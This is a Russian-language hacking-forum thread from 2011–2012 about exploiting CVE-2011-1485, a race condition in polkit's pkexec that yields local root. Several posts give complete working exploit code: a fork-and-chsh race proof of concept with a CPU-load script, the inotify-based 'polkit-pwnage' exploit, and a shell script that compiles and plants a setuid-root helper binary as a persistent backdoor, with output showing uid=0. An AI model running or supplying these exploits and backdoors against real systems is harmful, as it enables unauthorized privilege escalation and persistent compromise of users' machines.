Старый 22.05.2011, 15:06   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
Question Думы о pkexec эксплойте

Не знал куда запостить.

https://bugzilla.redhat.com/show_bug.cgi?id=692922
Везде, где есть pkexec до-апрельский, вроде можно получить рута. Только там race-condition и не понятно, как ее выиграть.

Может у кого будут идеи.

Итак. ./src/programs/pkexec.c:612 pastebin

Код:
  if (uid_of_caller != getuid ())
    {
      g_printerr ("User of caller (%d) does not match our uid (%d)\n", uid_of_caller, getuid ());
      goto out;
    }

  authority = polkit_authority_get ();

  details = polkit_details_new ();

  polkit_details_insert (details, "command-line", command_line);
  s = g_strdup_printf ("%s (%s)", pw->pw_gecos, pw->pw_name);
  polkit_details_insert (details, "user", s);
  g_free (s);
  s = g_strdup_printf ("%d", (gint) pw->pw_uid);
  polkit_details_insert (details, "uid", s);
  g_free (s);
  polkit_details_insert (details, "program", path);

  action_id = find_action_for_path (authority, path);
  g_assert (action_id != NULL);

  error = NULL;
  result = polkit_authority_check_authorization_sync (authority,...);//cut
В самом низу идет вызов функции polkit_authority_check_authorization_sync. Если сделать так, что euid parent процесса будет нулевым (например вызвать setuid прогу в нем), то pkexec на этой строчке будет думать, что он вызван рутом и не будет спрашивать пароль. Но!

В самом верху идет проверка, uid_of_caller (который будет равен нулю, если вызвать setuid прогу в parent) и uid юзера, под которым запущена прога. Они не будут равны, все накрывается медным тазом.

Т.е. надо как-то рассчитать время так, чтобы в parent процессе выполнить setuid прогу только между if в начале этого кода и вызовом polkit_authority_check_authorization_sync в конце кода.

Если руками вставить sleep между этими участками и в parent процессе запустить setuid прогу только после начала этого sleep, то проверка в начале будет успешно пройдена, а к функции в конце parent будет иметь euid=0 и пароля не спросят:

Код:
synq@ubuntu:~/pkexec$ ./pk
I'm Darth
I'm Luke
pkexec: we're sleeping for 5 sec b4 polkit_authority_check_authorization_sync..
Darth: I've slept for 3 seconds, that should've been enuff, now: run chsh and be r00t!
Password: uid=0(root) gid=0(root) groups=0(root)
Это и является целью.

Код pk.c:
Код:
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(){
	pid_t pid;

	/* Attempt to fork and check for errors */
	if( (pid=fork()) == -1){
		fprintf(stderr,"Fork error. Exiting.\n");
		exit(1);        
	}

	if(pid){
		/* A positive (non-negative) PID indicates the parent process */
		printf("I'm Darth\n");

		sleep(3);
		printf("Darth: I've slept for 3 seconds, that should've been enuff, now: run chsh and be r00t!\n");
		execl("/usr/bin/chsh","chsh",NULL);
	}
	else{
		/* A zero PID indicates that this is the child process */
		sleep(1);
		printf("I'm Luke\n");
		execl("/home/synq/pkexec/polkit-0.96/src/programs/.libs/pkexec","pkexec", "/usr/bin/id",NULL);

	}
	return 0;
}
SynQ вне форума   Ответить с цитированием
Старый 22.05.2011, 16:18   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
Red face

Та-да...
Код:
/*
*  So, it's a POC for pkexec suid binary. Should exploit any pkexec earlier than 2011.04
*  CVE-2011-1485	https://bugzilla.redhat.com/show_bug.cgi?id=692922
*  
*  Since there's a race condition we should start up some cpu hungry stuff.
*  So run this exploit like this: ./load.sh 10; sleep 5; ./pk

*  Depending on your CPU you should play with # of thread in ./load.sh
*  On my Ubuntu 10.04 x86 running in VMware accessing 2 cores of my Core i5 750, 10 is ok
*
*  SynQ, rdot.org, 2011-05-22
*  
*  load.sh:
---cut---
#!/bin/sh
# unixfoo.blogspot.com
if [ $1 ]; then
        NUM_PROC=$1
else
        NUM_PROC=10
fi
for i in `seq 0 $((NUM_PROC-1))`; do
        awk 'BEGIN {for(i=0;i<10000;i++)for(j=0;j<10000;j++);}' &
done
echo "PIDS: `pidof awk`"
---cut---
*  
*/
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(){
	pid_t pid;

	if( (pid=fork()) == -1){ fprintf(stderr,"Fork error. Exiting.\n"); exit(1); }

	if(pid){
		/* A positive (non-negative) PID indicates the parent process */
		printf("I'm Darth\n");
		sleep(1);
		execl("/usr/bin/chsh","chsh",NULL);
	}
	else{
		/* A zero PID indicates that this is the child process */
		nice(19);
		printf("I'm Luke\n");
		execl("/usr/bin/pkexec","pkexec", "/usr/bin/id",NULL);
	}
	return 0;
}
UPD:
================================================== ============
Попробовал тоже самое на OpenSUSE 11.3 с одним ядром, вот так сработало:
Цитата:
synq@linux-3roh:/tmp> ./load.sh 5; sleep 5; ./pk
PIDS: 4001 4000 3999 3998 3997
I'm Darth
I'm Luke
Changing login shell for synq.
Password: uid=0(root) gid=0(root) groups=0(root)
Теперь по получению шелла. Чтобы его получить нужно исправить строку в коде
Цитата:
execl("/usr/bin/pkexec","pkexec", "/usr/bin/id",NULL);
на
Цитата:
execl("/usr/bin/pkexec","pkexec", "/put-do-fayla/1.sh",NULL);
Вместо /put-do-fayla/ указать путь, откуда вы запускаете эксплойт. Рядом с эксплойтом положить такой 1.sh:

Цитата:
#!/bin/sh
echo running 1.sh like user $USER
chown root.root /put-do-fayla/suid
chmod 4755 /put-do-fayla/suid
Затем делать chmod +x 1.sh и тут же рядом скомпилировать suid.c:

Цитата:
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
if(argc == 2){
setgid(0); setuid(0);
system(argv[1]);
}
return 0;
}
Т.о. pkexec выполнит с рутовыми правами 1.sh, который сделает суидным наш файл suid. После чего
Цитата:
$ ./suid "whoami;id"
root
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),46(plugdev),10 5(lpadmin),119(admin),122(sambashare),1000(synq)
Теперь по подгонке. Если получаете подобное сообщение:
Цитата:
Password: User of caller (0) does not match our uid (1000)
Значит parent запускает chsh рано, т.е. нужно уменьшить нагрузку на проц (уменьшить число в load.sh), чтобы pkexec быстрее выполнялся.

Если же подобного сообщения нет и (при наличии гуя) всплывает окошко запроса пароля, значит наоборот pkexec выполняется слишком быстро и надо увеличить нагрузку.

PS При повторных запусках не забывайте делать killall awk.

Последний раз редактировалось SynQ; 05.10.2011 в 14:03..
SynQ вне форума   Ответить с цитированием
Старый 05.10.2011, 13:56   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Вышла статья и более удобный эксплойт.
http://blog.zx2c4.com/675
http://git.zx2c4.com/CVE-2011-1485/tree/polkit-pwnage.c

Обычно polkit есть там, где есть гуй. Поэтому на серверах бывает редко, видел только на одном. Зато идеально подходит для десктоп-машин.

Код:
/* polkit-pwnage.c
 *
 *
 * ==============================
 * =      PolicyKit Pwnage      =
 * =          by zx2c4          =
 * =        Sept 2, 2011        =
 * ==============================
 *
 *
 * Howdy folks,
 *
 * This exploits CVE-2011-1485, a race condition in PolicyKit.
 * 
 * davidz25 explains:
 * 
 * --begin--
 * Briefly, the problem is that the UID for the parent process of pkexec(1) is
 * read from /proc by stat(2)'ing /proc/PID. The problem with this is that
 * this returns the effective uid of the process which can easily be set to 0
 * by invoking a setuid-root binary such as /usr/bin/chsh in the parent
 * process of pkexec(1). Instead we are really interested in the real-user-id.
 * While there's a check in pkexec.c to avoid this problem (by comparing it to
 * what we expect the uid to be - namely that of the pkexec.c process itself which
 * is the uid of the parent process at pkexec-spawn-time), there is still a short
 * window where an attacker can fool pkexec/polkitd into thinking that the parent
 * process has uid 0 and is therefore authorized. It's pretty hard to hit this
 * window - I actually don't know if it can be made to work in practice.
 * --end--
 *
 * Well, here is, in fact, how it's made to work in practice. There is as he said an
 * attempted mitigation, and the way to trigger that mitigation path is something
 * like this:
 *
 *     $ sudo -u `whoami` pkexec sh
 *     User of caller (0) does not match our uid (1000)
 *
 * Not what we want. So the trick is to execl to a suid at just the precise moment
 * /proc/PID is being stat(2)'d. We use inotify to learn exactly when it's accessed,
 * and execl to the suid binary as our very next instruction.
 *
 * ** Usage **
 * $ pkexec --version
 * pkexec version 0.101
 * $ gcc polkit-pwnage.c -o pwnit
 * $ ./pwnit 
 * [+] Configuring inotify for proper pid.
 * [+] Launching pkexec.
 * sh-4.2# whoami
 * root
 * sh-4.2# id
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * sh-4.2#
 *
 * ** Targets **
 * This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which
 * as of writing uses 0.101, has backported 0.102's bug fix. A way to check
 * this is by looking at the mtime of /usr/bin/pkexec -- April 19, 2011 or
 * later and you're out of luck. It's likely other distributions do the same.
 * Fortunately, this exploit is clean enough that you can try it out without
 * too much collateral.
 *
 *
 * greets to djrbliss and davidz25.
 *
 * - zx2c4
 * 2-sept-2011
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/inotify.h>

int main(int argc, char **argv)
{
	printf("=============================\n");
	printf("=      PolicyKit Pwnage     =\n");
	printf("=          by zx2c4         =\n");
	printf("=        Sept 2, 2011       =\n");
	printf("=============================\n\n");

	if (fork()) {
		int fd;
		char pid_path[1024];
		sprintf(pid_path, "/proc/%i", getpid());
		printf("[+] Configuring inotify for proper pid.\n");
		close(0); close(1); close(2);
		fd = inotify_init();
		if (fd < 0)
			perror("[-] inotify_init");
		inotify_add_watch(fd, pid_path, IN_ACCESS);
		read(fd, NULL, 0);
		execl("/usr/bin/chsh", "chsh", NULL);
	} else {
		sleep(1);
		printf("[+] Launching pkexec.\n");
		execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
	}
	return 0;
}
SynQ вне форума   Ответить с цитированием
Старый 05.10.2011, 18:11   #4
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

rdot всех порвёт, оммм
Pashkela вне форума   Ответить с цитированием
Старый 05.10.2011, 21:58   #5
col
 
Регистрация: 17.03.2011
Сообщений: 180
Репутация: 8
По умолчанию

Цитата:
Сообщение от Pashkela Посмотреть сообщение
rdot всех порвёт, оммм
гуевые тачки?
col вне форума   Ответить с цитированием
Старый 08.10.2011, 16:22   #6
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

http://www.exploit-db.com/exploits/17942/

http://www.securityfocus.com/bid/47496/exploit

Последний раз редактировалось Pashkela; 10.10.2011 в 19:52..
Pashkela вне форума   Ответить с цитированием
Старый 24.06.2012, 20:30   #7
Specialist
 
Регистрация: 13.06.2012
Сообщений: 25
Репутация: 20
По умолчанию

Способ с inotify порадовал, только я не понял такой штуки:
close(0); close(1); close(2);

Зачем закрывать stdin, stdout и stderr, ведь fd для inotify по идее после этого будет 0.
Какой в этом смысл?
Specialist вне форума   Ответить с цитированием
Старый 25.06.2012, 11:03   #8
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Specialist
Наверно, чтобы chsh не спрашивал пароля, выводя:
Цитата:
Changing login shell for synq.
Password:
SynQ вне форума   Ответить с цитированием
Старый 09.07.2012, 20:50   #9
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

т.к. не один эксплойт в реальной ситуации не сработал, выкладываю то, что сработало (переделан немножко из http://downloads.securityfocus.com/vulnerabilities/exploits/47496.sh)

Код:
# modified from http://downloads.securityfocus.com/vulnerabilities/exploits/47496.sh
# for rdot.org
cat > suid.c << _EOF
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
if(argc == 2) {
setgid(0); setuid(0);
system(argv[1]); }
return 0;
}
_EOF
cat > makesuid.c << _EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/inotify.h>
int main(int argc, char **argv)
{
	 if (fork() != 0)
	{	    
		int fd;
		char pid_path[15];
		sprintf(pid_path, "/proc/%i", getpid());
		close(0); close(1); close(2);
		fd = inotify_init();
		inotify_add_watch(fd, pid_path, IN_ACCESS);
		read(fd, NULL, 0);
		execl("/usr/bin/passwd", "/usr/bin/passwd", NULL);	
	}   
	else
	{
		    execl("/usr/bin/pkexec", "pkexec", argv[1],argv[2],argv[3], NULL);
	}

    return 0;
}

_EOF
gcc -o suid suid.c
gcc -o makesuid makesuid.c
./makesuid chown root:root $PWD/suid
./makesuid chmod u+s $PWD/suid
echo "your suid is on ./suid make sure u move this !!!"
rm suid.c makesuid.c makesuid
$PWD/suid -c /usr/bin/id
verified

Последний раз редактировалось Pashkela; 09.07.2012 в 22:25..
Pashkela вне форума   Ответить с цитированием
Ответ

Метки
exploit, exploitdev, pkexec

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot